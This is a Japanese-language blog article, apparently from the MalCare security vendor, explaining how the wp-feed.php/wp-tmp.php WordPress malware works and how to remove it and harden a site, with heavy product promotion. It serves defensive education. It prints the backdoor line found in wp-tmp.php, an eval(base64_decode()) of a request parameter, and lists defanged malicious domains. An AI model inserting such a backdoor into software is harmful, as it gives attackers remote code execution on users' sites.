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WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説

マルウェアスキャナーから「あなたのサイトはハッキングされています」と警告されているのに、サイトを見ても異常がないように見える——そんな経験はありませんか?

WordPressサイトに訪問者から「スパム広告が出ている」と指摘されているのに、自分には何も見えないということも。

その場合、サイトがハッキングされている可能性は非常に高いです。

ハッカーは、サイトオーナーに気づかれないよう巧妙にハッキングを偽装します。そうすることで長期間にわたってサイトを悪用し続けられるからです。

wp-feed.phpは、その中でも特に巧妙に偽装されたマルウェアの一つです。

サイトオーナーの目を盗みながら、違法商品やドラッグ、アダルトコンテンツの広告を訪問者に表示します。

仮に検出できたとしても、感染が広がった箇所をすべて特定するのは困難で、場合によっては不可能です。除去作業も複雑で骨の折れる仕事です。さらに、たとえ除去に成功しても、10件中8件は再発すると言われています。

要するに、WordPressサイトからwp-feed.php感染を取り除くのは非常に難しいのです。

幸い、私たちはこのマルウェアに何度も対処してきました。過去10年間で、何千ものWordPressサイトからwp-feed.phpを駆除しただけでなく、再感染の防止にも成功しています。

ご安心ください。お任せあれ。

この記事では、以下の内容を学べます:

  • wp-feed.phpマルウェアの仕組みとサイトへの影響
  • サイトからの駆除方法
  • 今後の再感染防止策

TL;DR: wp-feed.php感染を駆除するには、MalCareのWordPressマルウェア除去機能をインストールし、「自動クリーン(Auto-Clean)」を実行するだけです。さらに、再感染の原因となるバックドアの削除や、ファイアウォールとログイン保護による悪意あるトラフィックの遮断によって、再感染防止にも役立ちます。

wp-feed.phpとwp-tmp.phpとは?(原因・症状・再感染)

ひとことで言うと: WP-Feedとは、ウェブサイト上に悪意のある広告を表示するタイプのマルウェアです。目的は、訪問者に広告をクリックさせて悪意のあるサイトへ誘導することです。

ここで疑問が湧いてくるはずです——

> なぜサイトが感染したのか?

この感染の主な原因は、ヌル化(nulled)されたプラグインやテーマの使用です。

ヌル化ソフトは、有料のプレミアム機能を無料で使えるため魅力的に映ります。「善意で配布されている」と考える人も多いでしょう。

しかし実際はほぼ逆です。ヌル化ソフトは、ハッカーが手間なくサイトへ侵入できるようにするために配布されています。

ヌル化されたプラグインやテーマにはマルウェアが大量に仕込まれています。それらをサイトにインストールすることは、ハッカーに侵入経路を開放するようなものです。

ヌル化ソフト以外にも、古いまま更新されていないプラグインやテーマも脆弱性を抱えています。ハッカーはこうした脆弱性を突いてサイトに侵入します。

また、「admin」や「p@ssword」のような弱いユーザー名とパスワードも悪用されます。推測されやすい認証情報は危険です。

ハッカーはユーザー名とパスワードを推測し、wp-feed.phpマルウェアを直接サイトに仕込むことができます。

> ハッカーはなぜwp-feed.phpでサイトに感染させるのか?

目的は、あなたのサイトの訪問者を奪い、偽の商品やサービスを購入させて収益を得ることです。

驚くべきことに、彼らはサイトオーナーに一切気づかれないままこれを達成できることがよくあります。

では次の疑問へ——

> なぜ感染の症状に気づきにくいのか?

ハッカーはサイトへのアクセスに成功すると、2つのファイル(wp-feed.phpとwp-tmp.php)をwp-includesフォルダに仕込みます。

wp-includesフォルダはWordPressコアの一部であり、サイトのテーマ関連ファイルが格納される重要な領域です。

WP feedファイルは他のWordPressファイル、特にアクティブなテーマの一部であるfunction.phpへ感染を広げていきます。

WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説

function.php内から、ハッカーはWordPressサイトに悪意のあるポップアップ広告を表示できるようになります。

本当に悪質なのは、広告が新規訪問者にしか表示されない点です。このマルウェアは訪問者を記録し、初めての訪問者にだけ広告を見せる仕組みになっています。これは検出を回避するための極めて巧妙な手口です。

WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説

つまり、自分のサイトに頻繁にアクセスするあなたには、ハッキングの兆候が一切見えないわけです。

wp-feed.phpマルウェアの駆除方法

感染を除去する方法は2つあります。

1. プラグインを使う方法(簡単)

2. 手動で行う方法(難しい)

それぞれ詳しく見ていきましょう。

1. プラグインでWP-Feed.phpマルウェアを駆除する(簡単な方法)

すでにセキュリティプラグインを導入している方もいるでしょう。おそらくそのプラグインが、wp-includes/wp-feed.phpとwp-includes/wp-tmp.phpという悪意あるファイルについて警告したはずです。

多くのセキュリティプラグインがマルウェア除去サービスを提供していますが、MalCare Securityほど迅速かつ効果的に対応できるものは少数派です。

  • MalCareなら60秒以内にサイトをクリーンアップできます。チケットを起票する必要も、順番待ちも、認証情報を第三者プラグインに渡す必要もありません。
  • さらに、プラグインはサイトの隅々まで掘り下げて隠れたマルウェアを探します。サイト上に存在するすべての悪意あるスクリプトを検出します。
  • 従来とは異なる手法で新型の高度に隠蔽されたマルウェアを検出します。コードの挙動を徹底的に分析して悪意を特定するため、正常なコードを誤検知しないことも保証されます。
  • そのすべてを数分以内に行います。

では、MalCareでwp-feed.php感染を駆除しましょう。

ステップ1: WordPressサイトにMalCare Securityをインストールして有効化します。

ステップ2: ダッシュボードメニューからMalCareを選択し、メールアドレスを入力して「Secure Site Now(今すぐサイトを保護)」をクリックします。

WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説

ステップ3: 次のページでパスワードを入力し、続けてURLを入力します。

MalCareは直ちにサイトのスキャンを開始します。目的は、サイト上に存在するすべての悪意あるコードを検出することです。

つまり、wp-feed.phpとwp-tmp.phpファイルだけでなく、function.phpに潜む感染部分を含め、WordPressファイルを汚染しているすべての悪意あるコードを検出します。

さらに、再感染を防ぐためにサイト上のバックドアもすべて検出してくれるので安心です。

WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説

悪意あるスクリプトが見つかると、プラグインが通知してくれます。

次に、サイトのクリーンアップを行います。

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ご注意: MalCareのマルウェア除去はプレミアム機能です。即時対応できる唯一のマルウェア除去プラグインです。年額99ドルで、1つのサイトを何度でもクリーンアップでき、最高レベルの保護を受けられます。詳細はMalCareの料金ページをご覧ください。

ステップ4: サイトからwp-feed.phpの痕跡を完全に除去するには、「Auto-Clean(自動クリーン)」ボタンをクリックするだけです。

MalCareが即座にサイトのクリーニングを開始します。

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以上で完了です。これがプラグインを使ったサイトのクリーンアップ方法です。

2. WP-Feed.phpマルウェアを手動で駆除する(難しい方法)

手動での駆除はかなり難易度が高いです。この種の感染は、関わる要素が非常に多いためです。

  • ハッカーは2つの悪意あるファイル(wp-feed.phpとwp-tmp.php)をアップロードします。まずこれらを削除する必要があります。これはおそらく唯一の簡単な作業です。
  • 感染はfunction.phpを含む他のWordPressファイルにも広がっています。どこまで感染が広がったのか判断できないため、これが難しいポイントです。
    • すべての悪意あるコードを見つけるのに数時間かかるでしょう。
    • 悪意あるコードは巧みに偽装されており、普通のコードに見えるため、見分けるのが困難です。
    • 「eval(base64_decode)」のような既知の悪用コードは、正規のプラグインでも使用されていることがあります。悪意なく使われているケースもあるため、安易に削除するとプラグインに支障をきたし、最悪の場合サイトが壊れることもあります。
    • コードの一部を見逃す可能性も高く、それが再感染につながりかねません。

したがって、手動での除去は決して効果的とは言えません。

それでも手動で行いたい場合は、必ずサイトの完全なバックアップを取ってください。誤ってファイルを削除してサイトが壊れてしまった場合でも、すぐに元の状態へ復元できます。

おすすめのバックアップサービスのリストをご参照ください。

また、手動でマルウェアを除去する際に役立つ記事もあります——「WordPress hacked」。記事内の「ハッキングされたWordPressサイトを手動でクリーンアップする方法」のセクションへジャンプしてください。

これでサイトは感染から解放されましたが、まだ安全とは言えません。ハッカーは引き続きサイトを標的にし、感染を試みる可能性があります。将来の感染からサイトを守る対策が必要です。その前に、wp-feed.phpとwp-tmp.php感染の影響について確認しておきましょう。

wp-tmp.phpマルウェア感染の影響

言うまでもなく、wp-feed.phpとwp-tmp.phpマルウェアの存在はサイトに壊滅的な影響を及ぼします。

wp-temp.phpに感染したサイトでは、以下のような被害が発生しがちです:

  • 直帰率の急上昇と、訪問者の滞在時間の低下が見られます。
  • ポップアップ広告により、サイトが重くなり非常に遅くなります。
  • 誰も重いサイトを好みません。ページが読み込まれる前に訪問者は戻るボタンを押して離脱してしまうでしょう。これがドミノ倒しのように影響します。
  • 検索エンジンは、ユーザーがどれほど素早くサイトを離脱しているかに気づきます。「ユーザーが求めるコンテンツを提供していない」と判断され、検索エンジンのランキングが下落します。
  • つまり、SERPで上位表示を狙って費やしてきた努力・時間・費用がすべて無駄になってしまうのです。
WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説
  • ハッキングされたサイトはGoogleにブラックリスト登録され、ホスティングプロバイダーからアカウント停止処分を受けることもあります。また、ハッキングされたサイトでGoogle広告を運用していた場合、AdWordsアカウントが停止される可能性があります。これらすべてがトラフィックのさらなる減少につながります。
  • さらに、ハッキングされたサイトはクリーニングが必要ですが、適切なツールを使っていないと高額な費用がかかりかねません。

朗報は、サイトがハッキングされたことを把握できているという点です。だからこそ、駆除して被害を食い止められるのです。

今後wp-feed.phpマルウェアからサイトを守る方法

読者の中には、wp-feed.phpマルウェアを駆除しても、何度も再発すると悩んだ経験がある方もいるでしょう。

これは、サイトにバックドアが仕掛けられているためです。多くのバックドアは極めて巧妙に偽装されており、素人の開発者であれば正規のコードと見誤って見過ごしてしまうほどです。

前述の通り、ハッカーはwp-feed.phpとwp-tmp.phpの2つのファイルをサイトのコードに挿入します。このうちwp-tmp.phpがバックドアとして機能します。ファイルを開くと、次のようなスクリプトが見つかるはずです——

$p = $REQUEST$#91;”m”]; eval(base64_decode ($p));

幸い、以下の対策を講じることで、将来のハッキングからサイトを守ることができます——

1. ヌル化ソフトを削除し、使用をやめる

サイトでヌル化されたプラグインやテーマを使用している場合は、今すぐ削除してください

そもそもハッカーはヌル化ソフトを通じてサイトに侵入しました。どれほど丁寧にサイトをクリーンアップしても、ヌル化ソフトを残したままでは、ハッカーは再び侵入経路を見つけてマルウェアを仕込むでしょう。

ユーザーにプラグインやテーマのインストールを許可している場合は、ヌル化ソフトを絶対に使わないよう徹底してください。

実際には、MalCareを活用してプラグインとテーマのインストール自体を禁止するのがより確実な運用です。

MalCareのダッシュボードにログインし、対象サイトを選択して「Apply Hardening(強化を適用)」をクリックし、「Block Plugin/Theme Installation(プラグイン/テーマのインストールをブロック)」を有効にするだけです。

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2. サイトのセキュリティを強化する

ファイルパーミッションを変更することで、wp-feed.phpのような悪意あるファイルがWordPressフォルダに仕込まれるのを防げます。

ファイルパーミッションとは、誰がどのファイルにアクセスできるかを決める一連のルールです。wp-includesフォルダへの変更をユーザーに禁止できます。ファイルパーミッションについて詳しく知りたい方は、こちらのガイド「WordPress File Permissions」をご覧ください。

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また、ファイルエディタを無効化することで、ハッカーによるテーマの改ざんを防ぐこともできます。これにより、サイトへのポップアップ広告の注入を阻止できます。手動でも可能ですが、リスクが伴うため推奨されません。

MaiCareがすでにインストールされていれば、ボタンをクリックするだけでファイルエディタを無効化できます。

WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説

WordPressのハードニングについては、こちらで詳しく学べます。

3. ウェブサイトを常に最新の状態に保つ

他のソフトウェアと同様に、WordPressのプラグインやテーマにも脆弱性が生じます。開発者は脆弱性を把握すると、迅速にパッチを作成し、アップデートとしてリリースします。

アップデートの適用が遅れると、サイトはリスクに晒されます。

ハッカーは脆弱性を悪用するのが得意です。実際、彼らは常に脆弱性を持つサイトを探し、そこから侵入してマルウェアを感染させようとしています。

だからこそ、アップデートを決して怠らないでください。

セキュリティアップデートについては「WordPress Security Updates」で詳しく解説しています。

サイトを最新に保つためのガイド「How to Update WordPress」も参考にしてください。

4. 強力な認証情報の使用を徹底する

サイトへ侵入する最も簡単な方法は、ログインページからの攻撃です。

ハッカーは認証情報を推測するだけで済みます。実際、数分のうちに何百ものユーザー名とパスワードの組み合わせを試せるボットが設計されています。あなたやチームメンバーが「admin」や「password123」のような推測されやすい認証情報を使っていれば、ボットはわずか2秒でサイトを突破できるでしょう。これがブルートフォース攻撃です。

サイトの全ユーザーが固有のユーザー名と強力なパスワードを使用することが重要です。

さらに一歩進んで、ログインページを守る複数の対策を導入することもできます。実践できるWordPressログインセキュリティ対策のリストをまとめています。

5. ファイアウォールを利用する

ハッカーがそもそもサイトにたどり着けないようにできたら理想的だと思いませんか?

ファイアウォールこそが、まさに必要なツールです。

ファイアウォールは、サイトへのアクセスを試みるトラフィックを調査します。悪意あるIPアドレスからのトラフィックを検知すると、即座に遮断します。

こうしてハッカーやボットをふるいにかけるのです。

サイトで有効化できるおすすめのWordPressファイアウォールのリストはこちらです。

ただし、MalCareを使用していれば、すでにファイアウォールが有効になっています。

WordPressのwp-feed.php・wp-tmp.phpマルウェア感染の駆除方法と再感染防止策を徹底解説

次に何をすべきか?

今回は、サイトのクリーンアップ方法と、二度とハッキングされないための対策をご紹介しました。

サイトをさまざまな災害から守るとっておきのアドバイスがあります——それは、定期的にサイトのバックアップを取ることです。

サイトが突然エラーを吐いたり、壊れてしまったりしても、バックアップがあれば一時的に素早く復旧できます。

MalCare Securityを契約していれば、追加料金でバックアップアドオンも利用できます。詳しくはお問い合わせください。

MalCare Securityプラグインをぜひお試しください!

  1. WordPressのプッシュ通知マルウェアとリダイレクトハッキングへの対処方法

    ここ数週間、セキュリティ企業Astraの調査チームは、WordPressサイトで発生しているプッシュ通知型マルウェアを追跡しています。この攻撃キャンペーンは、WordPressサイトで継続的に発生しているリダイレクト(不正転送)キャンペーンと組み合わされて実行されています。 リダイレクト先として確認されている悪意のあるドメインには、inpagepush[.]com、asoulrox[.]com、iclickcdn[.]com、justcannabis[.]online、0.realhelpcompany[.]ga、fast.helpmart[.]ga/m[.]js?w=085 などがあります

  2. WordPressプラグインに潜むPHP実行型マルウェアの駆除・対策ガイド

    最近、WP Super Cache、Akismet、Elementorといった人気WordPressプラグインが生成するファイルと酷似したファイル名・内容を持つ悪意あるファイルを、ハッカーが密かに仕込んでいるサイトが複数確認されました。これらのファイルに含まれるコードは、リダイレクトハック、サーバー上への不正ファイルの作成、お問い合わせフォームやメールマガジンへのスパム送信を引き起こし、最悪の場合はホスティング会社によるアカウント停止につながることもあります。本記事では、プラグインに潜むこの隠蔽マルウェアの実態と、その除去方法について詳しく解説します。 WP Super Cacheプラグイン